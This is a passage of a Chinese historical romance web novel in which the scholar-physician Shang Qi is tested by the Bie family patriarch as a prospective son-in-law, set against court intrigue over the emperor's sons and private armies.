尚柒彻底没话了,等两个小的吃的差不多,就一口气扫完了桌子上的饭菜。 夜里原不该吃这么饱,但一想晚上还要继续用脑,尚柒又心安理得的喝完最后一口汤,待会活动活动筋骨,再进行题海挑战。 第52章 “景季, 这几篇策论是谁写的,可是这届参加科举的举子?”别洵松捋着胡须,眼里都是满意, “虽然遣词用句差了些, 但都言之有物, 是难得务实的好苗子。” “父亲也觉得好?我初见也觉得极好, 至于写这几篇策论的人,容我卖个关子。”别景季已经去了尚府好些日子,手里给父亲的几篇策论,是他精心挑选的,为的就是让父亲一眼看中。 “这有什么好卖关子的, 你祖父自从成为太子太傅后, 已经许久不收徒了, 但我没这个顾忌。”太子太傅是太子的老师,从前别泓收弟子也就罢了, 当了太子的先生再收徒,就不大合适。 毕竟太子也不想平白无故多出几位师兄弟。 “难得见父亲又起了收徒的心思。” “不是你父亲我清高, 实在是长安城这一代的子弟越发不成器, 许多关系交好的同僚有心将名下的孩子送到我这里学习, 但稍微一打听名声, 个个不成器。” 别洵松挑选徒弟虽比不上别泓, 但也不是没要求,敏而好学是基本, 他可没工夫替同僚管教不孝子。 “若代代都有成器的子孙,大历为首的世家就不会还是那几家了。”大历两百余年,开国功臣里有不少因为子孙不成器跌了门楣的,别家能够一直走上坡路, 全赖代代重视子弟教育,这点上,就是与萧谢几大世家也是能并驾齐驱的。 “不提这个,你且说一说,此人究竟是谁?什么身份?”别洵松打定主意要收这个徒弟。 “父亲不若猜一猜。” “观文章内容,非阅历深厚不可,但词句上欠缺火候,该是没有良师指导,你偏这时候送来他的策论给我,必然和八月的科举相关。 此次科举世家参与的子弟我大抵清楚,除开一个蒲州柳氏的柳确我还没摸清楚底细,其余人写不出这样的文章,此人身份是个白丁?” “父亲观文识人的本事越发厉害,不错,此人不光是个白丁,还是商户出身,年十七。” “十七?竟然这样年轻,这可比你十七岁的时候要厉害多了。”别洵松的表情越发满意,像是恨不能立刻将人拉到眼前,叫人敬拜师茶。 别景季无奈,怎么还带拉踩的,他十七岁阅历的确不及尚柒,但就行文来说,还是胜尚柒一筹,不然也轮不到他指点尚柒如何用词。 “他可有拜师的念头?” 别景季摇头:“尚柒眼下没有拜师的意思,我将策论递过来,只是想让父亲你帮忙改一改,我的水平虽然也够应付科举,但今年柳家子下场,想要稳稳压过,必然还要父亲出手。” “看来此人与你关系匪浅。”不然景季为何如此费心费力,还把他这个做父亲搬出来。 “的确关系匪浅,此前我同父亲说过,有一西南过来的大夫替青浣诊病,疗效颇佳。” “就是此人?”无怪别洵松惊讶,实在是尚柒这个年纪,能干好一件事就不得了,竟然能写出如此文章的情况下,还有一手不输长安名医的医术。 “不错,除此之外——” 别洵松闻言看向别景季:“除此之外还有什么?” “娘不是一直在为此云挑选夫婿吗?我瞧此人就不错。” 别洵松上下打量了一番别景季:“怎么突然关心起你弟弟的婚事了?” “我身为此云兄长,如何不关注他的婚事。” “好吧,就当你是关心,但此人的身份是不是”低了些,至少对别洵松来说,他家哥儿嫁给太子都够的上,只是太子成亲早,侧妃的位置也都订出去了,又因太子的干系,其余皇子是不考虑的。 尚柒虽有才学,但眼下还是白丁,就是科举得中,也只有一个□□品的小官做,两家地位差距不是一般大。 “父亲,萧谢这等世家子身份是够了,难道他们就是小弟的良缘吗?” 别洵松不语,柳确的事夫人私下同他说过,他也认为别家不必要攀大世家的高枝,他家哥儿性子也冷,几乎不与人交好,嫁入这样的世家,必然不好过。 但不嫁给大世家,还有其他选择,长安里和别家一样门楣的子弟不少。 “若真有好的儿郎,娘挑选了这么久难道还选不出一个配的上小弟的吗?”别景季叹气,不说别的,适龄的儿郎大部分都是定了亲的。 没定亲的要不就是歪瓜裂枣,要不就是想攀高枝,真有沧海遗珠也早叫人捡了去,若有心寻摸两年,或许能挑到合适的,但这样的人物可不见得能入此云的眼。 “同等世家的不成,就只能再往低了选,而那些低于别家门楣的人家,不见得比尚柒好。”至少才学不及。 论相貌,尚柒也不输给长安世家子弟,家底可能薄了些,但比起一些小世家还要娘子郎君的嫁妆补贴家用,尚柒就完全没这个问题。 尚家不缺钱。 别洵松想了片刻,叹了口气,不得不承认尚柒除开出身,的确算是长安城里排得上号的好儿郎。 自然,最要紧的还是尚柒的才学过了他的眼。 “这事你有心是好的,但你弟弟的性子你也知道,他若瞧不上,便是此人才高八斗,也只当路旁黄花。” “此前此云病了一回,请过尚柒看病,我瞧着此云并不讨厌尚柒,才想着能不能撮合两人。”若不是此云乐意,别景季何必大费周章折腾。 “他们私下里有接触?”别洵松性子不算古板,但也不希望自家哥儿莫名其妙和外男接触。 “父亲想哪里去了,我只说此云不讨厌尚柒。”就算私底下真接触了,没成亲前别景季是不会多嘴的。 有别景季担保,一向信任儿子的别洵松动摇了,他又低下头看尚柒的文章,赞赏的情绪怎么都掩盖不住。 如果不是景季提出来,也许等尚柒拜他为师后,他也会考虑将此云嫁给尚柒,白丁身份虽为人诟病,但尚柒当真和此云成亲,别家也不会吝啬拉哥婿一把,再加上人当真有本事,难保未来不会前程似锦。 “此事我会好好考虑,你娘那边先不要透露,我先瞧瞧人再说。” “父亲若是得空,我就安排尚柒同你会面。” 别景季了却一桩事,慢悠悠的出了父亲宅邸,正打算去梧桐苑道喜,半道却遇上了整日见不着面的别景和。 自庄王和蔺家事发,已经过去一段时日了,西南将军也在被押送回来的路上,事情本该接近尾声,但瞧别景和四处奔走,就知别家没管的地方还是掀起来不少风浪。 “堂兄。”别景和跟别景季的关系好,二人年纪相近,幼时在府里能玩到一块,只是后来一个从文一个从武,加上几年不见,比起幼时生疏一些。 “办完差回来?”别景季有心想打听,但又怕别景和为难。 “嗯,之后我要离开长安一趟,少说半月功夫。”别景和替广运帝办差的事别家都清楚。 “那就不耽误你休息,等再回长安,我作为兄长在金玉满堂设宴给你接风洗尘。” “那我等着。” 一个小插曲过去,别景季没放在心上,到了梧桐苑将事情进度给此云说了说。 “父亲已经心动,但亲事主要还是看娘的意思,我想着娘那边还是爹慢慢去说。” “阿兄想的周到。”别此云当然知道婚事必不能他们小辈提出来,不然以他娘的敏锐程度难保不察觉到什么。 “不过帮了些许小忙,不费什么劲,方才我过来的时候还遇见里二堂兄,幸好不久他要出长安办差,不然晓得了尚柒,必要上门跟人比划比划。” 别景季不喜欢这等鲁莽行事,奈何他打不过别景和,也拦不住。 “二堂兄不是才归长安不久,如何又要出去?这次去了可还回来。”别此云故作惊讶,只当不晓得别景和在做什么。 “是公事,少说也要出去半个月,眼下他还没接到调令,在此之前都要回长安的。” “还要回来就好,我当二堂兄也会错过我的婚事。” “你与尚柒八字还没一撇,如何就念叨婚事了,别忘了道长说的,你成亲需要晚一些才能保平安。”顶多尚柒考中后,两人先定亲。 “早些成亲也好,只是定亲难免中途出现变故。” “交换过生辰贴,如何还会有变故。”除非尚柒和此云哪一方想悔婚,不然只等合适的日子成亲即可。 “这可说不准,阿兄,长安定亲的公子贵女也不是没有出现变故的。”别此云话里有话,叫别景季皱了一下眉心。 他知道他弟弟意有所指的是被陛下强抢入宫的贵女,那位贵女自幼定了亲,眼瞧着要成亲了,与未婚夫在皇家猎场打猎,被陛下看中,一旨毁了婚约入了后宫。 “此云,你在怕什么?”别景季不信陛下会如此对别家。 “阿兄,我的确惶恐,但此事暂时不能说与你听。”别此云先给他兄长打预防针,至于实话还需要再等一等。 “你一向有主意,不说肯定有自己的原由,我也不追问,但真要是遇到什么事,你且告诉兄长,保你周全我还是能做到。”别景季郑重承诺。 别此云点头,但心里却想,广运帝真知道他在做什么,别家都难保。 第53章 “西南将军已出西南, 待人入京,大理寺和刑部审讯后,庄王和蔺家勾结的事就算了了。”西南将军被抓, 西南边军重新被广运帝掌握, 短时间内不必考虑西南边境洗劫礼县的可能。 “我堂兄近日离了长安, 许是寻齐王的霉头了。”先前他们猜测广运帝抓了齐王的把柄, 眼下看多半是真的。 “齐王的私兵想要调遣入长安禁军,不是那么简单的事,今年年末能办好都算快的。”大军调动,牵扯众多,广运帝这头计划将酒水纳为官营的事又没有推进, 余下几个月, 广运帝要么增加禁军编制, 要么和军中博弈,裁掉部分老兵, 但无论哪个实施起来都需要时间。 “我看广运帝还是舍不得兵力。”裁军简单,但征兵就难了。 “也得有钱养才行, 冯风说你的庄园外埋伏了不少人手, 我看广运帝一计不成, 打算暗夺了。” 青麦酒的生意, 最要紧的是酿酒方法。 “不必与他正面对上, 若他只想要酿酒方法,必会遣人入庄园窃取, 只管让他拿去就是,若他想要整个庄园,出钱买卖也就罢了,就怕他私下算计。”广运帝都打上酒水主意了, 想来手里也没多少钱,出钱买下整个青麦酒的生意,多半不会做。 余下只有偷和抢两条路走,偷别此云尚可以不管,抢就难说了。 “就算要抢,也不会光天化日动刀子,你的庄园虽不在长安,但距离长安也不远,真要是除=出了灭门的命案,闹到长安也是一场腥风血雨。 正巧广运帝又和世家在打擂台,真要叫世家拿住了此事的把柄,大肆宣扬开,广运帝也难免吃瘪。” 以尚柒来看,广运帝真要抢也多半是寻个由头,安个罪名,抄家之后直接收归己有。 “那你认为是偷还是抢?” “看接下来广运帝和军中博弈的情况,若快,自然是明抢。”但尚柒和别此云都心知肚明,军中关系两百年下来,错综复杂的厉害,不是一朝一夕能完事的。 “你吩咐书墨一声,庄园的人手尽快转移去西南。”庄园的大部分人手都是他一手培养上来的,不可能叫广运帝随意糟蹋了。 “好。”尚柒应下。 有尚柒这句话,别此云放松紧绷的身体,大事说完,也该说一说他们的小事:“我兄长将你的策论送到父亲面前,父亲极为欣赏,不日将要邀你去府里说话。” 亲事到这一步,基本是稳了。 “亏得有你兄长指点,我虽念了十几年书,但真论起来是不如你兄长这等才子的。” “何必谦虚,我少见父亲阿兄夸奖旁人,只是没想到你才学竟然这样好。”尚柒一向是给人惊喜的存在,想来上辈子也是极为出色的人才。 “你忘了,我打小跟家里学医,都学医了,还有什么做不好的。”尚柒语气有几分调侃,毕竟不少有才学的人都是弃医从文,可见学医误人。 “早知今日行事,我当初该学艺术的。” “只学不成,还要落过榜才是,不然触发不了落榜艺术生转职的机制。” 语罢,二人四目相对,随后只听得一阵轻笑声,可见有时候开点只有对方知道的玩笑,很拉近感情。 “希望接下来几个月都风平浪静些。”别此云收敛住笑意,算算时间,尚柒才来长安几个月,长安就经历了好几场风波,差点都将他淹没在其中。 虽说几场风波有他和尚柒在背后推波助澜,但也能看出大历已经快成漏成筛子了。 “广运帝和世家也是人,连续发生了这么多事,除非有人已经准备好谋反,不然也该要歇歇。” 整日殚精竭虑,他们这些在外围的人都受不住,更何况那些漩涡中心的人。 “说的是,距离科举的日子越发近,每年科举录取的世家子弟占大多数,为了家里子弟的前程,想来一些蠢蠢欲动的世家也会压住,等吏部那边批了名额再闹事。” 大历科举一年一届,每年录取的人数不多,但年年都有新人朝廷的官职也没那么多安排,毕竟坐上官位的那伙人不犯错一屁股下去几十年都不带挪窝的,想要往上爬就更难了。 这也是尚柒为何不看好科举的缘故,实在上上升通道被堵死了。 “你兄长同我大概说了这次参加科举的一些竞争对手,大部分除开家世,都没什么竞争力。” “但家世是最致命的,你不能赌广运帝会为了和世家博弈选白丁出身的举子。” “这就是为何我会选安和公主拿科举资格,我是商户,要想科举必先要过吏部的审核,安和公主出面,事情就不大一样了。” 大历公主虽不参政,但安和公主得圣心,明面上安和公主不能插手政务,但私下里向广运帝推荐几个人才入朝为官,广运帝也会给女儿这个面子,虽说不会安排什么要紧的官职,但能做官已经是白丁求不来的福气。 他走安和公主的路子,吏部的官员为了不得罪安和公主,必不会让他榜上无名,顶多是排名前后罢了。 “你这样借安和公主的势,不怕当官后安和公主寻你要报酬?”别此云跟安和公主并不熟,可以说连点头之交都算不上,但他的人是摸过安和公主的底,知晓安和公主的性子。 要他说,诸位皇子不见得能比得过安和公主,奈何大历没有姑娘哥儿出头的机会,安和公主自己也没有要争权夺利的意思。 “她若当真要我支持,说明大历还不到弹尽粮绝的时候,咱们也有更多的时间。”毕竟王朝真要倒了,大历魏氏肯定是最着急的。 “还以为你会有个扶持她为帝的选项。” “若我生在长安,说不定会有这个心思。”比起国破家亡,尚柒肯定还是更希望有一位天纵奇才力挽狂澜,有言道,宁为盛世犬,不做乱世人。 “安和公主聪颖,做事也比她几个兄弟有决断,曾听祖父言,广运帝有一日感叹过安和公主不是男子,但她又少了几分野心,以大历眼前的情况,她胜过她兄弟数筹,真要有心未必不能成。” “要做皇帝,必不可缺的就是野心。”就驸马那个德行,安和公主都能容忍,可见打心底没有过什么出格的想法。 “你我好像也没那么大的野心。”别此云所求,尚柒所求,不过都是在世间有一隅能够快活,但想要做到这一点,先要他们拿下整个世间,谁听了不说一句本末倒置。 “因为你我也不想当皇帝。”尚柒没做过醒掌天下权,醉卧美人膝的美梦,奈何形势比人强。 “一想到去了西南,你我定要忙的团团转,就庆幸如今还能偷几日清闲。”别此云说着伸了个懒腰,明明还没开始干事,就感觉累了。 “你是清闲了,我近来忙的脚不沾地。”他没有拒诊,为此白日看病,夜里学习,整日充实的觉都睡不够。 “倒是我的不是,只是我不曾学过推拿功夫,没法帮尚大夫你解乏。” “就算你学了,以你的劲道效果也不大。” “我虽体弱,但也并非真的弱不禁风。”别此云半眯着眼睛,对尚柒怀疑他的言辞颇有不满。 “我并非指你一人,一般人推拿效用都不大。”就大历穷人吃不饱,富人吃太好的情况,不锻炼一般人的劲道也就那样。 “你会推拿吗?” “学过,但没给人推拿过。”毕竟他没出师就转道学别的去了。 “那若是去了西南,我忙的脚不沾地,有幸能叫尚大夫帮我推拿吗?”别此云满目含笑,半点不似对外人的冷脸。 真要说,他对尚柒笑的次数比对家里人都多。 这话问的尚柒一愣,又对上人含笑的眼睛,心底似有热流涌动,面上虽然没什么表情,但握住茶杯的手却不免摩擦杯面。 “尚大夫,能吗?” “自然是能的。”这话说的声音不大,但听风楼的包厢只他们二人,别此云想听不清都难。 “那就先谢过尚大夫了。”别此云低头饮茶,以掩饰嘴角藏不住的弧度。 之后二人像是有了什么默契一般,都只饮茶不说话,直到茶汤吃尽,两人才不得不各自归家。 “阿兄,出去遇上什么好事了,这样高兴?” “我很高兴?”尚柒自认为表情如往常一样,没什么变化。 “若是不熟阿兄的人,自然能被你糊弄过去,但我可是你弟弟,必然瞒不过我的眼睛,阿兄你不光高兴,还非常高兴,若有尾巴必然都翘到天上去了。” 这是非常少见的,阿兄可是赚了大钱都不喜形于色的狠角色。 闻此言,尚柒揉了揉面颊,脸上的肌肉的确绷的有些紧。 “阿兄,你还没说遇上什么好事了?”尚乌桕竖起耳朵打听。 “大人的事,小孩少打听。”尚柒敷衍的打发完乌桕,就往书房去了。 “也没比我大几岁,不说我还不能自己打听么。”尚乌桕嘀嘀咕咕,就往马厩去,阿兄出门一惯是坐马车的,阿大叔必然晓得内情。 第54章 平王府。 “西南还没传回来消息?”平王急切的在府中踱步, 实在是宫里他安插的人手传来消息,陛下已经在江南寻到齐王养的私兵。 齐王背后还有萧家帮衬都被寻了出来,他在西南焉有平安无事的道理。 “王爷莫慌, 眼下没有消息就是最好的消息, 晋王不也没有消息传出来吗?”这回陛下是铁了心要把几个皇子私下的手段一股脑搜刮出来, 左右除了太子大家伙手里都不干净, 陛下也不可能因为这事就废了几位王爷。 “哼,晋王,平日里属他最阴,指不定收到风声干了什么遮掩的事。”平王对自家几个兄弟最了解,老五给了他一个大惊喜, 但要属最讨厌的还得是晋王。 “别家那位军营出身的子弟, 眼下正在江南, 可见陛下此刻都把心思放在齐王身上,咱们切断联系切断的及时, 西南又多山,陛下的人都是从长安派遣出去的, 对西南地形不熟, 想要寻到咱们的兵马, 比齐王晋王要难多了。” 但平王依旧心有余悸, 这会儿哪怕幕僚说的天花乱坠也安不了他的心。 自从和西南私兵营切断联系, 他养的私兵是死是活都不知道,眼下瞧着西南将军即将入长安, 陛下在西南的人手也该消停,方才遣了人去西南瞧一瞧情况。 虽说西南距离长安很远,但日夜兼程,也该有个信传回来才是, 偏迟迟没有消息。 和平王焦急不一样,齐王还在府中紧闭,哪怕知道自己的根底被陛下抄了,也只能无能狂怒。 至于晋王,反而是最稳得住的,每日依旧吃吃喝喝,甚至还能还能见着晋王同几位世家子弟同去平康坊,半点不怕陛下抄了他的底。 “老大愚钝,老二阴险,老四无能,老五平庸,老七自大,朕的这几个儿子,天资连朕都赶不上,日后朕如何放心将大历的江上交到他们手里。” 广运帝瞧着底下的人送来的消息,语气有说不出的失望。 自然了,真要出个能力出众的皇子,广运帝也不见得会开心,坐上了皇位,注定不能跟一般人家一样享受天伦之乐。 “陛下乃几位皇子的父亲,自然对孩子要求高,外人瞧着几位皇子都是好的。” “你倒是不得罪人,外人瞧着他们好,也是没有选择。”他长成的儿子就这么几个,朝中大臣想要争从龙之功,只能从其中选一个下注。 “陛下哪里的话,奴婢不过实话实话。” “你说朕该拿老五怎么办?”广运帝已经收到西南将军不日抵达长安的消息,蔺家是不能留了,老五按说也该废了王位贬为庶人,但随着广运帝突击搜查,其他几个儿子也没比老五好到哪里去,若是只罚了老五轻放了其他人,对老五不公。 “此事乃陛下家事,奴婢哪里能插得上话。” “家事?”广运帝的手在龙椅上轻敲,“皇帝既为一国之主,家事也是天下人的事,老五这次犯了大错,若不给出惩罚,如何叫人服众。 罢了,叫大理寺和刑部按律审吧,也给他几个兄弟瞧瞧,犯了忌讳都有什么下场。” “陛下英明。” 不日,西南将军入长安,大理寺刑部联合审理,蔺家和西南将军自然是活不成的,主脉都落了个身首异处的下场,旁支虽然不至于砍头,但也落了个流放岭南的下场。 近来岭南也热闹的很,流放了不少京官过去。 五皇子得以保留王位,但被广运帝收回了手里的官职,赶去守皇陵了。 这个结果一出,五皇子一派官员大受打击,除非陛下其余皇子突然暴毙,不然五皇子再没有继位的可能。 “也是预料之中,父亲,五皇子在朝中势力虽然不显,但不可便宜了其余几位王爷。”别景季在案子出结果后,松了一口气,别家这些日子为此事奔忙,总也要拿些好处。 “太子有分寸,其余几位王爷这会自顾不暇,腾不出手接管五皇子的势力。”别洵松也没想到五皇子事发,最后是太子得益最多。 “也说不好,如晋王的性子,真断尾求生,不顾封地只管长安,说不得要和太子殿下挣一挣。” 别洵松闻言,想想晋王平日行事的风格,的确不无可能。 “我会私下提点太子,不过算算时间,太子妃近来可能临盆,太子膝下还没有养住的麟儿,这一胎太医都说是儿郎,太子的心思可能都在太子妃身上。” 魏氏历代都不缺继承人,几个皇子争抢皇位都是常有的事,偏到了太子这一代,几位皇子膝下都只养住了一两个孩子,太子后继无人也是其余皇子攻奸的重点。 “如此父亲该要多费费心。”太子没有继承人,他们这些跟随太子的大臣也着急。 “这个自然,五皇子事了,别家得以从中抽身,你上次说的尚柒我也终于能抽空见见。” “尚柒一直在府中温书,父亲想什么时候见都行。” “明日不成,就定在后日如何?若真如你所言是品学兼优之人,我便留他用膳,也叫你娘见一见,过一过眼。”别洵松也惦记家里小哥儿的婚事。 “父亲安排就是。” …… 收到别景季的消息,尚柒正在府里看西南送来的信笺,近来西南局势紧迫,连带当地豪强都关起门装鹌鹑。 大部分西南势力没冒头后,听闻西南乱象都稳定了不少,不过等广运帝的人手一撤,又会故态复萌。 “禁军营接触的人选都如何了?”兵力还是要尽快练出来。 “东家,我瞧着怕还是不能透露让他们去西南带兵。”主要谋反这事太大,一般人只要日子过得去,哪里会愿意去干这样掉脑袋的勾当。 起先说要温水煮青蛙,也没煮多少时间,这时候加火,青蛙不得跑了。 “我何时说过他们去西南带兵,左右在禁军营没有出头的机会,你且问一问他们愿不愿从军营从出来,和我们做事。” 多数参军的儿郎都想建功立业,但这都磋磨了多少年,再有上进心也该被打击的差不多了。 人到中年,膝下也有孩子,前程眼看着无望,不得想法子攒些家底留给孩子。 “把人骗去西南,万一人到了不干怎么办?”冯风挠了挠头,这事多少有些不地道。 “这是蔺肃的事,你只管将人送去。”非常时期,自然要用非常手段,他若事事都按道德标准来办,还造什么反。 “有东家这句话,我这头自然没问题。”冯风心里对禁军营的几个弟兄说了句抱歉,但东家既然吩咐了总不可能不办,“他们的家人怎么办?继续留在长安?” “等他们到了西南自然会接家人过去,若是有提前愿意一家人去西南安顿的,也帮着安排即可。”他和此云的生意慢慢在往应州转移,安顿几个军属不成问题。 “那成,这几日我就旁敲侧击的问问。” 冯风一走,尚柒就将信笺烧了,转头去挑去别府赴约的衣裳。 对于穿着,尚柒一向是不计较的,同谢十三别景季相交,也都穿着随意,并未特意模仿世家子弟衣着,但后日是去见岳父的,总不能一点都不打扮。 好在到了长安之后,尚柒有过考虑,请了绣娘裁过两身衣裳,但除了制好后试衣,再没穿过,现在正压箱底放着。 该提前一日拿出来打理才是。 “阿姊,阿兄竟然在挑衣裳,我认为阿兄有心上人了。”尚乌桕观察了几日,终于有了结论,迫不及待的和阿姊分享这个消息。 “平日不曾见阿兄接触谁?如何就有心上人了?”尚南枝眼神飘忽,阿兄怎么还没把要求娶别哥哥的事告诉乌桕,她都要瞒不住了。 “阿姊你整日在织坊自然不晓得,前几日阿兄出门,去了听风楼,回来时脸上的笑怎么都掩盖不住。” “那你晓得阿兄去见谁了?” “我自然不晓得,阿大叔嘴很严,能套出一个听风楼的地点都费了我好大功夫。”这是尚乌桕最不满意的点。 “你瞧,你都不知道阿兄究竟去见谁,如何能说阿兄有心上人。”尚南枝费心费力替阿兄遮掩,就是不晓得到时候乌桕知道真相,会不会生她的气。 “阿姊,我的判断不会出错,虽然我不知道阿兄去听风楼见的是谁,但我知道阿兄的心上人是谁?”尚乌桕满脸得意,像是在说‘阿姊快问我’。 “你如何知道?” “阿姊有所不知,近来阿兄下午都会宴客,来人是别哥哥的兄长,虽我不知别哥哥兄长过来做什么,但阿兄的心上人定然是别哥哥。” “是吗?那你为何不直接问兄长。” “询问阿兄有什么意思,等我找出证据直接拿到阿兄面前对峙不是更有趣。”到时候他要看阿兄究竟如何狡辩。 “好吧,此事我不掺和。”尚南枝摆摆手,要回院子休息。 “阿姊,等等我,我还有重要的消息给你说呢。”尚乌桕不满阿姊怎么对阿兄喜欢的人半点不八卦,这可是他们未来的嫂夫郞! “不想听,总归阿兄早晚要告诉我们。”尚南枝打了个哈欠,不理会在她身后上蹿下跳的弟弟。 “不行,你必须听。” 第55章 琴砚从老爷院子回来, 就见自家公子慢悠悠的在院子踱步,外人瞧着许是发现不了公子这会心中焦急,但琴砚打小跟在公子身边, 知道公子的秘密比老爷夫人都多, 如何不清楚公子正在担忧老爷院子里的尚东家。 “如何了?”别此云见琴砚回来, 上前两步询问。 按说听兄长三番四次夸耀尚柒, 他该放心才是,奈何这次父亲又不光是把尚柒当徒弟考较,万一父亲突然刁难尚柒,也不知尚柒能否化险为夷。 “老爷院里还没有消息传出来。”琴砚无奈的摇头,“公子且放心, 尚东家才进去半个时辰, 往日老爷考较徒弟, 一两个时辰也是有的。” 别此云哪里能真的放心,今日事成, 他和尚柒的婚事多半就心照不宣了,今日不成, 婚事还有的一波三折, 尚柒为此事日夜操劳, 他却没什么法子帮忙。 “娘那边可有什么消息?” “夫人上午去了老太君院子侍奉, 正午若没有老爷传话, 多半是要在老太君院子用饭。” 作为别家当家主母,苏怡然少有清闲的时候, 子女虽然大了,但顶上的公婆还在。 “过半个时辰你再去父亲院子看一看。”上午本也没几个时辰,尚柒今日来的早,但真要考较两个时辰, 必然会错过用饭的点。 “是,公子。” 别洵松书房。 哪怕有两名考官盯着尚柒,尚柒依旧宠辱不惊,连落笔的手都没颤一下,行云流水的落成文稿。 别洵松几乎要忍不住过去查看尚柒写好的文字,但被别景季拦下了,不想给尚柒增添压力。 一篇策论最好在千字左右,比起八百字的白话文写作,千字策论腹中没有点才华,几日都憋不出来。 别洵松出的考题偏难,主要看过尚柒的策论,知道尚柒的底,难一些更能考察尚柒的水准。 当然了,他也不乏有要试一试尚柒的真本事,毕竟今日不是收徒的,而是考较尚柒是否够格成为他的儿婿。 待最后一笔落下,尚柒将毛笔放在笔架上,轻微动了动手腕,今日状态不错,策论题干一拿到手,心里就有了大致方向。 下笔更是如有神助,这篇策论几乎是一气呵成,连错字都没两个,简单的阅览片刻后,尚柒就交卷了。 作为考生,尚柒一惯是不喜欢修改答案的一批人,因为他少有粗心的时候,基本第一次答案什么样就是他全力以赴的水准。 所以当策论送到别洵松眼前的时候,别洵松还诧异的看了眼尚柒。 “父亲,尚柒的策论一向是不修的,你只管看就是。”别景季最欣赏的就是尚柒这点,文人下笔,只要有灵感,当即写出来的就是最好的,修改反而将灵气磨没了。 既然景季都这样说,别洵松自然接过策论,逐字逐句看过去,这一看就入了迷。 可叫梧桐苑的别此云好等,琴砚今日已经跑了三回,老爷的书房还是房门紧闭,伺候的下人也不敢这时候前去触老爷的霉头,只能干等着。 好在,不待琴砚跑第四回,别洵松的院子终于传来了消息,是别景季身边伺候的人来梧桐苑通知的,说是正午尚东家被留下用饭了。 “公子,眼下可安心了?”琴砚说着都松了口气。 “哪有什么安不安心的。”别此云摇头,他和尚柒的亲事成与不成也不耽误他跟尚柒去西南,只是一个偷跑,一个正大光明离开。 “对了,叫小厨房的人开火做饭,正午不必去主院。”父亲兄长留尚柒用饭,顶多能加个娘过去作陪,他是去不了的。 别家平日都是各自在院子用饭,若是长辈想要小辈过去陪膳,会提前遣人来请。 “是。”梧桐苑的小厨房面积比不上府里的大厨房,但麻雀虽小五脏俱全,打别此云回来,厨房但凡有什么好食材也都会送到梧桐苑一份,梧桐苑做饭的厨娘手艺也都是家传。 早上公子因为焦心尚东家,连一碗粥都么吃下,正午必然是要吩咐厨娘做的丰盛些。 …… 苏怡然原是想着今日在老太君这儿用膳,公公今日上衙,下值也要去太子府和太子议事,老太君没有作陪,她这个做儿媳的必然要在跟前侍奉。 哪想老太君厨房的饭菜都备好了,只差叫人上菜的时候,老爷院子传话过来,叫苏怡然回去用膳,听过来传话的丫头意思,正院有客人。 “我早上走的时候还不见客,怎么忽然来了客人?可晓得是哪家人?”一般能叫苏怡然过去作陪的,多半是上门来客也带了自己的娘子或是夫郞。 “是大少爷的朋友,姓尚。” “长安有姓尚的人家吗?”别老太君手里捏着佛珠,思考长安众多世家,没听说哪家姓尚。 “母亲有所不知,这位景季的朋友不是世家子弟,是做大夫的,青浣身子不是一直有个毛病,太医都束手无策吗?这位尚大夫过来看诊,听青浣说已然好了不少。” 苏怡然自打撞见尚柒给此云看诊后,就没见过尚柒,偶然听青浣提过尚柒来府里复诊过一两回,都是在暮云堂看过就离开了,也没引起苏怡然更多关注。 今日可是奇了怪了,竟然劳老爷过来请人。 “既然是景季的朋友,洵松又请你过去,那你就去吧。”别老太君认为一个医术能比过太医的大夫,也是值得交好的。 “母亲既然这么说,儿媳就先过去,待下午再来侍奉。” “下午若是洵松那边要你作陪,也不必过来陪我,左右身边不缺伺候的人,正事要紧。”说着别老太君就作势赶人走。 苏怡然自然称是,行礼告退后去了正院。 果不其然,到了正院,就见老爷跟景季两人都已经在餐桌落座,那位一面之缘的尚大夫也位列其中,三人正说着什么话。 看老爷和景季的表情,多半和诗书脱不开关系。 “父亲,娘过来了。”别景季时时关注门口,见着苏怡然的面,就低声给别洵松报信。 “夫人来的正是时候,快快入座。”别洵松上前几步迎了苏怡然,请人坐下后,“这位是尚柒,景季的朋友,今年科举的举子。” 举子?不是大夫么? “苏夫人,好久不见。”尚柒端正的行了一礼。 “不必多礼,先前见尚大夫来府上看诊,竟然不知尚大夫还准备参加今年的科举?”哪有举子做大夫的,再一个,她隐约记得青浣提过一句尚柒是商户出身,如何拿到科举资格的?莫不是景季帮了忙? “此次进京本就有这个打算,只是因为身份问题一直没敢宣扬,前些时候得了安和公主青睐,侥幸拿到参加科举的资格。” “饭桌上,且不提这些,先用膳。”别洵松知道他家夫人一有问题难免没完没了,眼下饭菜上桌,哪有叫客人等着的道理。 这话一开口,就把苏怡然半肚子的疑问堵了回去,有客来,自然也不讲究什么食不言的规矩,别洵松和别景季对尚柒态度热络,苏怡然当然不能冷着人。 一顿饭也算是吃的主宾尽欢,待吃完饭,别洵松也不打算放人走,还要人跟着去书房说话。 别景季就没那么好的运气,被苏怡然强行留下。 “怎么回事?” 早知道他娘会问这一遭,别景季便把先前准备的说话说了一遍。 “难怪你父亲突然对人这样热络,原是看中了这位尚大夫的才学。”听了解释,苏怡然态度也友善起来,“你父亲可是准备要收徒了?” “父亲没说,多半是起了心思。” “我瞧不光起了收徒的心思。”苏怡然说着看向别景季,“他可是有意要尚柒当他儿婿?” “娘如何得出这样的结论?”别景季虽然晓得瞒不过娘,但一个照面父亲什么都还没说就漏了底,也不知是哪里出了岔子。 “只是收徒,用不着我来作陪,唯一需要我出面的,只有家中孩子的亲事,眼下家里唯一适龄的姑娘哥儿,只有此云一人,我看你父亲是见猎心喜,起了心思。”这点心思她要猜不出来,如何打理整个别家。 “我一时竟没想到这一层,父亲往日都不插手子辈亲事,想来是见娘为此云婚事为难,又突然遇上合心意的才子,方有了这样的想法。”别景季一时间将自己推了个干净。 “难得他有心,只是成亲哪里光看才学就够的,最要紧的还是人品。”苏怡然只见过尚柒两面,连尚柒家什么情况都不知道,怎么可能就满意尚柒做儿婿。 “娘对尚柒是何打算?” “你父亲都插手了,我若一口回绝岂非不给你父亲面子,总归眼下也没哪个儿郎能入我眼,你父亲有这样的心思,我也会遣人去查一查。” “要是人品无暇,难不成娘就要同意?” “怎的,不是说这位尚大夫是你朋友,既是友人,又得你父亲欢心,还做不得你弟婿么?”苏怡然像是看起了新鲜。 “娘哪里话,只是我以为娘晓得父亲的打算,必要驳斥父亲,到底尚家和咱们家身份差的远。” “身份差的远才好拿捏,先头我看上了柳家,结果吃了柳家好大一个排头,可见不想要你弟弟委屈,咱们家世高些最好。”要是没遇上柳家,说不定苏怡然这会已经恼了,到底尚柒的身份连寒门都算不上,若没有门路根本参加不了科举。 “娘想的周到。”没想到最后柳家竟然还成了助力,果然是塞翁失马焉知非福。 第56章 